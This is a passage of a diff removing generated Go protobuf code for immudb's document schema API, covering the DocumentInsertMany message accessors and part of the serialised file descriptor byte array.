&file_documentschema_proto_msgTypes[25] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentInsertManyRequest.ProtoReflect.Descriptor instead. -func (*DocumentInsertManyRequest) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{25} -} - -func (x *DocumentInsertManyRequest) GetCollection() string { - if x != nil { - return x.Collection - } - return "" -} - -func (x *DocumentInsertManyRequest) GetDocuments() []*structpb.Struct { - if x != nil { - return x.Documents - } - return nil -} - -type DocumentInsertManyResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - DocumentIds []string `protobuf:"bytes,1,rep,name=documentIds,proto3" json:"documentIds,omitempty"` - TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` -} - -func (x *DocumentInsertManyResponse) Reset() { - *x = DocumentInsertManyResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_documentschema_proto_msgTypes[26] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *DocumentInsertManyResponse) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*DocumentInsertManyResponse) ProtoMessage() {} - -func (x *DocumentInsertManyResponse) ProtoReflect() protoreflect.Message { - mi := &file_documentschema_proto_msgTypes[26] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use DocumentInsertManyResponse.ProtoReflect.Descriptor instead. -func (*DocumentInsertManyResponse) Descriptor() ([]byte, []int) { - return file_documentschema_proto_rawDescGZIP(), []int{26} -} - -func (x *DocumentInsertManyResponse) GetDocumentIds() []string { - if x != nil { - return x.DocumentIds - } - return nil -} - -func (x *DocumentInsertManyResponse) GetTransactionId() uint64 { - if x != nil { - return x.TransactionId - } - return 0 -} - -var File_documentschema_proto protoreflect.FileDescriptor - -var file_documentschema_proto_rawDesc = []byte{ - 0x0a, 0x14, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x15, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x1a, 0x1c, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x1c, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x73, 0x74, 0x72, - 0x75, 0x63, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x2c, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, - 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1e, 0x0a, - 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x22, 0xa8, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, - 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, - 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, - 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5a, - 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, - 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xbc, 0x01, 0x0a, 0x0a, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x3b, 0x0a, 0x0a, 0x6e, 0x75, 0x6c, - 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x09, 0x6e, 0x75, 0x6c, - 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, - 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x0b, - 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x73, - 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0x95, 0x01, 0x0a, 0x0d, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x66, - 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, - 0x64, 0x12, 0x40, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x51, 0x75, 0x65, 0x72, - 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0xbd, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, - 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x3a, 0x0a, 0x05, 0x71, - 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x51, 0x75, 0x65, 0x72, 0x79, - 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, - 0x44, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, - 0x44, 0x22, 0x67, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, - 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, - 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, - 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x1a, - 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x22, 0xb6, 0x01, 0x0a, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x38, 0x0a, 0x17, 0x70, 0x72, 0x6f, - 0x6f, 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x17, 0x70, 0x72, 0x6f, 0x6f, - 0x66, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, - 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, - 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, - 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x0d, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x24, 0x0a, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, - 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, - 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, - 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, - 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, - 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, - 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, - 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 